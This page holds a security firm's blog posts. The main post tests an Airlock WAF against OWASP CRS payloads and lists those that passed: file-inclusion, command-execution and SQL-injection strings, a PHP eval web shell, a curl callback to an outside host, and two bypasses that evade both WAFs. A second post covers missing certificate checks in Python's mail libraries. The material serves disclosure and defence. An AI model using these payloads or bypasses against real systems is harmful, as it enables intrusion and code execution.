Pentagrid AG (Posts about General)

An excursion into Airlock WAF ruleset testing

Pentagrid AG — Wed, 11 Dec 2024 12:00:00 GMT

Recently we've been tasked to do an analysis of a web application firewall (WAF) of the vendor Ergon, namely the Airlock WAF regarding the effectivness of filtering. One idea was to see what happens when OWASP Core Rule Set (CRS) tests are run against it. This is the story of how we approached this, which payloads went through and how impossible it is to tell if that's good or bad now.

WAFs are a controversial topic. The reason is simply that there is no technical proof that either is universally helpful or harmful, as their effectiveness largely depends on a lot of things. We don't think you need a WAF in general, and we also don't think you need to get rid of your WAF if you have a use case. For all of you who are expecting us to provide the ultimate answer [1] in this blog post: You can stop reading here. For everyone interested in learning some technical details about two WAF-related projects from real-world installations, please enjoy.

About WAFs and Airlock

Ergon's Airlock WAF is one of the better-known WAFs in Switzerland. One reason for this is that it is often recommended, bundled or sold with financial software, such as core banking systems. Some banks nevertheless use something else, while others stick with Airlock. Like any other WAF, Airlock mitigates risks according to their website.

Like a standard firewall, a WAF has a set of rules that define wether something is blocked or allowed through. However, that's already where the similarity stops. Best practices for regular firewalls require you to create an allow-list of traffic you want to pass and deny everything else. By contrast, most WAFs use block-lists and allow everything else. Everybody in our industry knows block-lists are a recipe for security issues and that's why a WAF will never be perfect, but best effort. So as a matter of fact, WAF bypasses are a common thing.

While every vendor and company using a WAF has their own rule set to fit their purpose, a key distinction exists: some who use a modified version of the OWASP ModSecurity Core Rule Set (CRS), while others don't use CRS at all. According to the CRS project, a lot of big cloud vendors are using CRS in their WAF. However, Airlock is one of the vendors that doesn't use CRS.

Additionally, most WAFs allow to decide dynamically whether to use more or less strict rules for a certain category of attacks. CRS uses the term "Paranoia Level" (1 to 4), whereas Airlock calls it "Security Level" or "Blocking Level" (basic, standard and strict). As some might already have noticed, we'll sometimes refer to CRS as a WAF in this post, implying a compatible WAF engine like ModSecurity is using CRS.

Approach

We've been tasked with analyzing an Airlock WAF and while we looked at various things, as a novel approach, we also decided to try to run comparison tests for Airlock against some of the CRS rules. As there seemed no one who did this before and wrote about it on the Internet, we tried our luck.

Although there is a public list of rule names, you need access to an Airlock WAF in order to see the actual Airlock rules (the regexes). Whereas CRS is an open-source project and you have full access to review it. This is very helpful for a pentester who is up against a CRS-based WAF, as you can even look up all currently unfixed evasions on GitHub.

The Airlock WAF we were facing had the following rules and blocking levels set:

Standard: SQL Injection (SQLi) in Parameter Value
Standard: SOL Injection (SQLi) in Header Value
Standard: Cross-Site Scripting (XSS) in Parameter Value
Standard: Cross-Site Scripting (XSS) in Header Value
Standard: Cross-Site Scripting (XSS) in Path
Standard: Template and Expression Language Injection
Strict: HTML Injection in Parameter Value
Strict: HTML Injection in Header Value
Strict: HTML Injection in Path
Standard: UNIX Command Injection in Parameter Value
Standard: UNIX Command Injection in Header Value
Standard: Windows Command Injection in Parameter Value
Standard: Windows Command injection in Header Value
Standard: LDAP Injection in Parameter Value
Standard: LDAP Injection in Header Value
Standard: PHP Injection in Parameter Value
Standard: PHP Injection in Header Value
Standard: Object Graph Navigation Library (OGNL) injection (Apache Struts)
Standard: Insecure Direct Object Reference in Parameter Value
Standard: Insecure Direct Object Reference in Path
Standard: NoSOL Injection in Parameter Name
Standard: NoSOL Injection in Parameter Value
Standard: NoSQL Injection in Header Value
Strict: Parameter Name Sanity
Standard: Parameter Value Sanity
Strict: Header Name Sanity
Standard: Header Value Sanity
Strict: Path Sanity
Strict: Encoding and Conversion Exploits in Parameter Value
Strict: Encoding and Conversion Exploits in Header Value
Strict: HTTP Response Splitting
Strict: HTTP Parameter Pollution
Standard: Miscellanous Exploits
Strict: Automated Scanning

Note that none of the rules are on the level "basic", so either the "standard" setting is used or even the highest protection level "strict".

CRS regression test run against Airlock

The most interesting part for us was that the CRS project provides a full regression test set, which contains tests that trigger a rule in different ways. With some modifications, such as changing the target host, we were able to run these tests against the Airlock WAF. Although this approach seemed straightforward, we underestimated the amount of manual work required to determine whether a failed test result for CRS was really "an issue" for the Airlock WAF. That's why we didn't completely review the entire regression corpus. However, we still learned a lot of interesting facts about both WAFs, as you'll see.

In the end, the effectiveness of a WAF depends a lot on its configuration (there are many features we don't even mention here) and on the type of application it is protecting. So even before starting, we knew the results wouldn't show a generally applicable picture.

After tweaking the configuration of go-ftw (a framework for testing WAFs), and trying to run it against Airlock, it became obvious that this was going to involve a lot of manual work to figure out which things were really a problem on the Airlock side. Some of the reasons are:

As we had to overwrite the destination (IP address and TCP port) as well as the HTTP Host header of tests to route our request correctly to the Airlock WAF, we already destroyed some of the CRS regression tests that injected into the HTTP Host header.
There is no throttle mechanism in go-ftw and Airlock was configured to block an IP for a certain time if a threshold of blocked requests per minute was detected. Therefore, we split the test into smaller batches and waited for a while between each batch. When just a few of the test requests were blocked, the batches went through nicely, but for tests that resulted in many blocked requests, we had to rerun them. Fortunately for us, in this particular configuration, it was easy to detect in the HTTP responses when the Airlock WAF blocked our IP address.
Airlock has an allow-list regex of all HTTP header names that are forwarded to applications. If you inject into any HTTP header that is not on the allow-list, the request will never be blocked. Some of the CRS tests injected into custom HTTP headers and therefore never triggered any rule.
Airlock also has an allow-list regex of HTTP cookie names where the same issue applies.
While CRS checks for certain patterns generically in all parameters, Airlock seems to check for certain things only when these parameters are defined to have that kind of content. For example, XML External Entity (XXE) attacks are not blocked generically in a parameter in Airlock.
Some CRS tests check for false positives (meaning CRS should not block them), but we were not interested in those, as we wanted to see what we could potentially smuggle past the Airlock WAF that CRS blocks.

CRS regression test run results

Here's a list of CRS test results that were passed through and were not blocked by the Airlock WAF under test (mid 2024), but would be blocked at some of the paranoia levels of the CRS. As said earlier, this list is incomplete as we didn't look at all the results of the CRS regression tests manually. The titles are the category titles by CRS.

REQUEST-913-SCANNER-DETECTION

User-Agent: nuclei
User-Agent: urlgrabber/3.10 yum/3.4.3
User-Agent: Mozilla/5.0 zgrab/0.x
User-Agent: mozilla/5.0 ecairn-grabber/1.0 (+http://ecairn.com/grabber)

REQUEST-920-PROTOCOL-ENFORCEMENT

GET /?param=%25%37%33%25%36%46%25%36%44%25%36%35%25%37%34%25%36%35%25%37%38%25%37%34%25%35%46%25%33%31%25%33%32%25%33%33%25%33%34 HTTP/1.1

REQUEST-921-PROTOCOL-ATTACK

GET /?arg1=GET%20http%3A%2F%2Fwww.foo.bar%20HTTP%2F3.2 HTTP/1.1

POST / HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Content-Type: application/x-www-form-urlencoded
Host: www.example.org
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Length: 86

foo=(%26(objectCategory=computer)%20(userAccountControl:1.2.840.113556.1.4.803:=8192))

REQUEST-930-APPLICATION-ATTACK-LFI

GET /?foo=.../.../WINDOWS/win.ini HTTP/1.1
GET /?foo=0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./ HTTP/1.1
GET /foo../1234 HTTP/1.1
GET /?a=..;.\.;\. HTTP/1.1
GET /?code=;+cat+%2Fetc%2Fsubuid+%23 HTTP/1.1
GET /?code=;echo+fooffff>/tmp/curl HTTP/1.1

REQUEST-931-APPLICATION-ATTACK-RFI

GET /?src=http://66.240.183.75/crash.php HTTP/1.1
GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=https://foo.bar HTTP/1.1
GET /?x=https://example.com/ HTTP/1.1
GET /?x=url:file://foo.bar HTTP/1.1
GET /file:%2f%2f/usr/src/blog/app/assets/javascripts/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1

REQUEST-932-APPLICATION-ATTACK-RCE

GET /get?932120-1=Invoke-WebRequest%20http://example.com/path/file.ps1 HTTP/1.1
GET /get?a=Invoke-Expression%20-Command%20file.ps1
GET /get?cmd=%3Biwr%20http://example.com/path/file.ps1 HTTP/1.1
GET /?cmd=cat%20/etc/pa%5Bs%5Dswd HTTP/1.1
GET /?cmd=x<cat+/etc/pa%5Bs%5Dswd HTTP/1.1
GET /?cmd=;cat+/etc/pas[s]wd HTTP/1.1
GET /?s=;/usr/bin/%5Bu%5Dname+-a HTTP/1.1
GET /?foo=for%20%2fr%20c%3a%5c%20%25variable%20in%20%28set%29%20do%20command HTTP/1.1
GET /?foo=FOR+%2FF+%22options%22+%25a+IN+%28%22text%22%29+DO+abc HTTP/1.1
GET /?foo=%26+FOR+%2FF+%22tokens%3D1-3%22+%25%25A+IN+++%28%22jejeje+brbr%22%29+DO+%40echo+pwnd HTTP/1.1
GET /?foo=FOR+%25%25G+IN+%28a%2Cb%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj%2Ck%2Cl%2Cm%2Cn%2Co%2Cp%2Cq%2Cr%2Cs%2Ct%2Cu%2Cv%2Cw%2Cx%2Cy%2Cz%29+DO+%28md+C%3A%5Cdemo%5C%25%25G%29 HTTP/1.1
GET /?x=%2Fusr%2Fbin%2Fperl+-e+%27print+readline%27+some-file.txt HTTP/1.1
GET /?x=)};%24SHELL%20-c%20%22echo%20hi%22 HTTP/1.1

REQUEST-933-APPLICATION-ATTACK-PHP

GET /?x=$_SERVER['test']; HTTP/1.1

File content:

<?php @eval($_POST["hacker"]); ?>

REQUEST-934-APPLICATION-ATTACK-GENERIC

GET /get/?foo=eval%28String.fromCharCode HTTP/1.1
GET /get/?foo=%0Arequire("child_process").exec('whoami') HTTP/1.1
GET /?x=%0Arequire%3bx%3d"child_process"%3blol(x).spawn("curl",%20['5gmgdi7mjd5o3g8oj8gawq6n8ee5ht6.oastify.com'])%3b HTTP/1.1

REQUEST-942-APPLICATION-ATTACK-SQLI

GET /?a=b,1=1 HTTP/1.1
GET /?a=a=42%20like%2042 HTTP/1.1
GET /?a=1%20is%20not%202 HTTP/1.1
GET /?a=%271%27+not+regexp+%272%27 HTTP/1.1
GET /?var=,+FIND_IN_SET('22',+Category+) HTTP/1.1
GET /?var==1'+%2b+1+is+likelihood(0.0,0.0)+is+1-- HTTP/1.1
GET /?var==1'+%2b+starts_with(password,'a')::int HTTP/1.1
GET /?id=...(json_build_object(1,password)::jsonb)::int HTTP/1.1
GET /?var=SELECT%20x%20GROUP%20BY%20SOMETHING%20HAVING%20COUNT%28Id%29%20%3E%3D%209 HTTP/1.1
GET /?var=;INSERT+INTO+table+(col)+VALUES+1,2,3 HTTP/1.1

REQUEST-944-APPLICATION-ATTACK-JAVA

java.lang.ProcessBuilder
java.lang.Runtime
java.io.BufferedInputStream

Bypassing both WAFs

There was one more thing we wanted to do. We wanted to find something that bypasses both WAFs.

PHP

After looking at the PHP regex of rules for CRS, we came up with the following valid PHP payload:

<?xml :system("ls")

This is valid PHP code with the short PHP start tag (<?) that executes a shell command, but bypasses the filter rules for both WAFs. PHP will interprete the "xml :" part as a label (e.g. used for goto).

OWASP CRS checked for the short PHP start tag (<?) but excluded <?xml generically, which allowed the bypass. However, for CRS other rules such as Cross-Site Scripting prevention rules also triggered (multi-layer approach), meaning depending on the filter settings the payload could still be detected in some cases. After reporting the PHP filter bypass to OWASP CRS it was fixed.

Although Airlock also has a rule to detect PHP short start tag payloads, for Airlock this payload resulted in a bypass.

XML

To find a second bypass we simply used a payload from one of our old advisories that hides the Cross-side Scripting payload in an XML attribute :

POST /ebics-server/ebics.aspx HTTP/1.1
Content-Type: text/xml; charset=UTF-8
Host: www.example.org
Content-Length: 585
Connection: close

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&lt;a autofocus onfocus=print(1) href&gt;&lt;/a&gt;;">
    <header authenticate="true">
        <static>
            <HostID>AAA</HostID>
            <PartnerID>AAA</PartnerID>
            <UserID>AAA</UserID>
            <Product InstituteID="AAA" Language="de">AAA</Product>
            <OrderDetails>
                <OrderType>AAA</OrderType>
                <OrderAttribute>AAA</OrderAttribute>
            </OrderDetails>
            <SecurityMedium>0000</SecurityMedium>
        </static>
        <mutable/>
    </header>
    <body>
        <DataTransfer>
            <OrderData>AAA</OrderData>
        </DataTransfer>
    </body>
</ebicsUnsecuredRequest>

While Airlock doesn't check file contents in-depth in general, it is still an open issue for CRS.

Summary

The above results show what went through the Airlock WAF. But after looking at the above results, everyone can agree that it's not easy to tell what that means exactly and what is the right thing to do. Should Airlock block more? Are those useful attack strings? We decided that we do not want to pick apart all of the payloads and argue about them. We provide them for you as-is, so you can draw your own conclusions.

After talking to Ergon, they opened internal tickets and said they are going to look at certain things from the above list. We agree that certain payloads are not yet full attacks, for other payloads we were expecting Airlock to block more.

For CRS, one of the two mentioned issues is fixed; the other is still open.

We have seen that Airlock did not block certain tests from CRS. Overall, it gave the impression of resulting in fewer false positives, as it seems to rather allow than block legitimate users. On the other hand, if you are looking for Server Side Request Forgery (SSRF) protection by default in URLs (URLs in URLs), you have to actively configure that when using Airlock. The impression of more false positives with CRS is probably in the nature of the project and again: whoever uses CRS must modify it to fit their needs. For example, if you use CRS and have users in Germany, users with first name Axel could get pretty upset.

Depending on your preference, you can tweak your WAF to reduce either false positives or false negatives. Some people prefer a WAF without false negatives because otherwise it can be bypassed. Other people will prefer fewer false positives because they are afraid to block legitimate cases or do not want to invest the time to configure every use case. When trying to argue in either direction, we seem to run in circles.

Are you upset about any of our statements above? See, we told you it's a controversial topic to talk about.

Thanks

We would like to thank our customer who was open to let us look at the WAF in a whitebox approach and who agreed to do a publication of the results. Thanks goes out to the OWASP CRS team who responded to all our questions on Slack. Thanks also to Ergon for the call and feedback.

Nothing new, still broken, insecure by default since then: Python's e-mail libraries and certificate verification

Pentagrid AG — Tue, 14 Nov 2023 09:23:00 GMT

Today, basically every e-mail provider supports TLS for their services and programmatically accessing e-mail services with Python code using TLS-wrapped clients is common. Python offers three libraries shipped with a standard installation for handling e-mail transfer. These modules are smtplib, imaplib, and poplib. While Python programming is usually straightforward, using these Python libraries require passing a magic parameter in the right way to use secure communication. If one has just read the summary on Stackoverflow, read a tutorial that does not mention security settings, or asked ChatGPT not specifically enough, it results in programs that do not defeat active attackers in a machine-in-the-middle (MITM) position. Our journey started, when we wrote an e-mail monitoring plugin in Python and ended for the time being with the notification of various open source projects.

Insecure past

There was a time, when fetching e-mail via clear-text channels was the standard and there was no real alternative to that. SMTP is 40 years old. The encryption program PGP is 31 years old and can be understood as tool that originated from the desire for reasonably useful end-to-end privacy, at a time where the underlying foundation was based on clear-text. In the mid-nineties, the first crypto-protocols for regular users were developed, such as SSH for shell access and SSL mainly for web browsing. For e-mail, STARTTLS was an improvement to upgrade from an insecure communication to a crypto-channel that preserves integrity and confidentiality as long as an active attacker did not prevent STARTTLS. The pre-Snowden era is not that long ago, where websites usually relied on cleartext-HTTP. These old times influenced how things are nowadays. Nevertheless, times are changing, techniques too, and expectations anyway.

The same reasoning applies to libraries with protocol implementations. It is not different with Python. So, everything here is an old hat. It is a "known" problem. It is more or less documented in the corresponding Python documentation. There is a Python Enhancement Proposal, a PEP, which is the Python community's way of coming to decisions. It is PEP 476 – Enabling certificate verification by default for stdlib HTTP clients from 2014, because HTTP libraries had the same issue. They were insecure by default. PEP 476 suggests doing certificate checking for accessing resources via HTTPS and it also mentions that there are other Python libraries with the same issue. These other libraries are smtplib, imaplib, and poplib for mail handling and additional libraries for FTP and NNTP. The PEP explains that the mail libraries may still need insecure defaults for backward compatibility, for example because mail servers may have invalid certificates and therefore with e-mail this certificate verification could be a different thing compared to the PEP's aim at changing certificate verification for HTTP. And there is the very same discussion already on Python's Github tracker.

Making things worse, while imaplib and poplib are mainly used in client to server communication (where you might have a chance to ask the user to do a security decision), SMTP is used for server to server communication as well. While security features are introduced to improve mail security (e.g. MTA-STS), the situation is still challenging. That's why we think projects should configure e-mail as secure as possible, where possible.

Meanwhile it is 2023 and insecure defaults are a problem, especially when our infrastructure depends on many small building blocks. An insecurity here, a shared password there, an outdated component over there. Each vulnerability could be one too much to grant attackers the next level of access. So let us explain the problem.

A vulnerable example

Consider this example of Python script that is intended to connect to an IMAP server:

#!/usr/bin/env python3

import imaplib

imap_host = 'outlook.office365.com'
imap_user = 'nonexisting@outlook.com'
imap_pass = 'secret'

print("IMAP: Try to connect.")
server = imaplib.IMAP4_SSL(host=imap_host, port=993)

print("IMAP: Try IMAP login, which is expected to fail with the data above.")
server.login(imap_user, imap_pass)

At first, the script looks like it should work, which it does. But if this script is used, it will not verify the peer's certificate, which can be tested by just adding an entry to /etc/hosts, for example by associating an IP address from imap.gmail.com with the hostname of outlook.office365.com:

173.194.76.109  outlook.office365.com

If the script now connects to Microsoft's IMAP server, it will instead connect to the one from Google. The certificate will not match the hostname, but running the script now results in an authentication error and not in an ssl.SSLCertVerificationError. As there was no certificate verification error, username and password were sent to the wrong server and the script did not prevent this.

$ ./imaptest.py
IMAP: Try to connect.
IMAP: Try IMAP login, which is expected to fail with the data above.
Traceback (most recent call last):
  File "/tmp/./imaptest.py", line 13, in <module>
    server.login(imap_user, imap_pass)
  File "/usr/lib/python3.10/imaplib.py", line 612, in login
    raise self.error(dat[-1])
imaplib.IMAP4.error: b'[AUTHENTICATIONFAILED] Authentication failed.'

Outch!

Read the manual first

This was just an example with accessing an IMAP server. Technically, it is the same with Python's smtplib and also poplib. This is more or less documented behaviour. The imaplib.IMAP4_SSL has an optional parameter ssl_context, which is described as:

ssl_context is a ssl.SSLContext object which allows bundling SSL configuration options, certificates and private keys into a single (potentially long-lived) structure. Please read Security considerations for best practices.

The ssl_context parameter was added in Python 3.3 released in 2012. Following the link to the security best practices, the Python documentation further explains:

For client use, if you don’t have any special requirements for your security policy, it is highly recommended that you use the create_default_context() function to create your SSL context. It will load the system’s trusted CA certificates, enable certificate validation and hostname checking, and try to choose reasonably secure protocol and cipher settings. [...]

By contrast, if you create the SSL context by calling the SSLContext constructor yourself, it will not have certificate validation nor hostname checking enabled by default. If you do so, please read the paragraphs below to achieve a good security level. [...]

When calling the SSLContext constructor directly, CERT_NONE is the default. Since it does not authenticate the other peer, it can be insecure, especially in client mode where most of time you would like to ensure the authenticity of the server you’re talking to. Therefore, when in client mode, it is highly recommended to use CERT_REQUIRED. However, it is in itself not sufficient; you also have to check that the server certificate, which can be obtained by calling SSLSocket.getpeercert(), matches the desired service. For many protocols and applications, the service can be identified by the hostname; in this case, the match_hostname() function can be used. This common check is automatically performed when SSLContext.check_hostname is enabled.

Would you say that after reading this, everything is completely clear? Creating a default context to load CA certificates sounds good, but is the impact clear, when one skips this step and just does not pass the right SSL context, when calling the IMAP4_SSL constructor? Does the code call the SSLContext contructor somehow, when you completely ignore the IMAP4_SSL constructor's ssl_context parameter? The Python documentation links the corresponding source code. So one can check, what happens starting from the constructor imaplib.IMAP4_SSL:

def __init__(self, host='', port=IMAP4_SSL_PORT, keyfile=None,
             certfile=None, ssl_context=None, timeout=None):
[...]

    if ssl_context is None:
        ssl_context = ssl._create_stdlib_context(certfile=certfile,
                                                 keyfile=keyfile)
    self.ssl_context = ssl_context
    IMAP4.__init__(self, host, port, timeout)

There, the ssl_context parameter is initialized with None. If no specific value is passed via ssl_context, then _create_stdlib_context is called. The function ssl._create_stdlib_context is defined as:

_create_stdlib_context = _create_unverified_context

Unverified context does not sound good. The corresponding code is shown below. The function _create_unverified_context disables check_hostname and does not load a default trust chain, if not instructed to do this:

def _create_unverified_context(protocol=None, *, cert_reqs=CERT_NONE,
                           check_hostname=False, purpose=Purpose.SERVER_AUTH,
                           certfile=None, keyfile=None,
                           cafile=None, capath=None, cadata=None):
[...]
    context = SSLContext(protocol)
    context.check_hostname = check_hostname
    if cert_reqs is not None:
        context.verify_mode = cert_reqs
    if check_hostname:
        context.check_hostname = True
[...]
    if certfile or keyfile:
        context.load_cert_chain(certfile, keyfile)

    # load CA root certs
    if cafile or capath or cadata:
        context.load_verify_locations(cafile, capath, cadata)
    elif context.verify_mode != CERT_NONE:
        # no explicit cafile, capath or cadata but the verify mode is
        # CERT_OPTIONAL or CERT_REQUIRED. Let's try to load default system
        # root CA certificates for the given purpose. This may fail silently.
        context.load_default_certs(purpose)

Not checking certificates explains why the vulnerable example client in the beginning just continued connecting and sent credentials to another mail server or to the entity that pretends to be one.

How could that be avoided? Just create an SSL context and pass it to the constructor as an additional parameter (examples for each library):

imaplib.IMAP4_SSL(hostname, port, ssl_context=ssl.create_default_context())
smtplib.SMTP_SSL(hostname, port, context=ssl.create_default_context())
poplib.POP3_SSL(hostname, port, context=ssl.create_default_context())

By the way, did you noticed the different parameter names for the SSL context?

Implications

The direct consequence is that a vulnerable Python program that uses the libraries in a vulnerable way may leak credentials for an IMAP or SMTP account (or POP3) to an active attacker in a MITM position. A script may only use SMTP, but often SMTP and IMAP credentials are identical and therefore may result in IMAP being accessed, too. Furthermore, if an e-mail is sent via SMTP, mail contents may leak or could be modified during transit. Due to the flexibility of IMAP, not only mail contents may be retrieved, but also modified or deleted before another, legitimate user can access it. Since a library is affected here, the exact impact depends on the use case of the software that uses the library and it will depend on the type of data being processed via e-mail. Another impact is that with access to e-mail infrastructure, the reachable attack surface increases for the attacker. Access to e-mail infrastructure may be abused for phishing attacks and spamming, for example.

If there is the need to create an SSLContext to enable certificate verification, will everyone have read the documentation? Sadly, there are even tutorials not mentioning the SSL context and ChatGPT won’t tell the full story until one asks... erm... demonstrates prompt engineering skills.

We can use code search engines such as grep.app, search code, and Debian Code Search, looking for constructor calls to imaplib.IMAP4_SSL and smtplib.SMTP_SSL and skim through the source code. Skipping testing code, inactive and some personal code repositories, it is possible to find quite some vulnerable uses. A curated list is given at the end of this article.

We found vulnerabilities in code that is covered by bug bounty programs. For example, we found a vulnerability in an OAuth2 Python script by Google, where a connection to an SMTP/IMAP server is made to test if authentication tokens are valid. We reported this to the Google and Alphabet Vulnerability Reward Program (VRP). They rewarded us with a small bounty. [1] We also filed vulnerability reports at Hackerone for Spotify and Mozilla, but they [2] don't see a problem with not checking server certificates and closed the tickets. The vulnerability in Spotify's Luigi project has been found before, but was likely not reported back then. We were able to report the vulnerability in Mozilla's Bugbot via another channel and it was fixed.

We tried to contact most of the projects, where it was somehow possible to find (security) contact data. Some of them were very happy to receive the report and immediately provided a fix.

Necessary conclusion to draw

It is understandable to prefer not to break existing functionality. We all know ecosystems in software engineering, where things break every now and then. But keeping insecure defaults is not a value that makes sense to get preserved. It is a vulnerability. If a security issue is only documented in the fine print, developers will miss it and will write vulnerable code. RTFM is not an excuse. You don't build unavoidable trip traps and urge caution.

Over a year ago, a ticket was opened in the Cpython project to change the default behaviour of these e-mail libraries, in other words to be secure by default. We are really looking forward to the ticket being implemented and closed.

A few affected tools and frameworks

Infrastructure:

Frameworks:

Frappe: Low code web framework for real world applications, in Python and Javascript,, at several places.
Apache Arrow is a multi-language toolbox for accelerated data interchange and in-memory processing,.
Apache Airflow - A platform to programmatically author, schedule, and monitor workflows, affected components are smtp.py, email.py and imap.py. – Code is fixed and released with 2.7.0. CVE-2023-39441 was assigned to this.
zvt: modular quant framework.
Python library imap_tools: Work with email by IMAP. – The library itself provides an option to pass a SSL context to MailBoxTls(), but if this parameter is not used, it is also insecure by default. This made Paperless-NGX vulnerable.
Flask-Mail: Flask-Mail adds SMTP mail sending to your Flask applications. – We made a pull request to fix the problem, but it was not accepted yet.
Luigi is a Python module that helps you build complex pipelines of batch jobs. It handles dependency resolution, workflow management, visualization etc. It also comes with Hadoop support built in..

Security:

LinOTP: The open source solution for two factor authentication,.
King phisher: Phishing Campaign Toolkit,.
SquarePhish is an advanced phishing tool that uses a technique combining the OAuth Device code authentication flow and QR codes..
AIL Project is an open source project to collect and analyse data to produce security intelligence, – It is fixed now.
Impacket: – This could also be a feature to be insecure.

Community:

The source code that powers readthedocs.org, – According to the project, this is dead code. It was removed.
A Mozilla release management tool to send reminders to Firefox developers and improve Bugzilla metadata, – It is fixed now.

End-user tools:

OAuth2 clients:

Google OAuth2 python client,, for example used in – Pentagrid filed a bug report for this in the Google and Alphabet Vulnerability Reward Program (VRP) as described above. It is fixed now.
A contributed script to the Mutt mail client,.
python-oauth2: A fully tested, abstract interface to creating OAuth clients and servers. – Listed here, but it is an unmaintained project.

Hello, World

Pentagrid AG — Wed, 31 Jul 2019 21:42:05 GMT

Finally, we founded the Pentagrid AG to provide IT security assessments to customers and now our website is also operational. We will use this blog for things we want to share with our audience, for example tools we release and security advisories on vulnerabilities we find during our work and research projects.

You will find us as well on Twitter under @pentagridsec and on Github.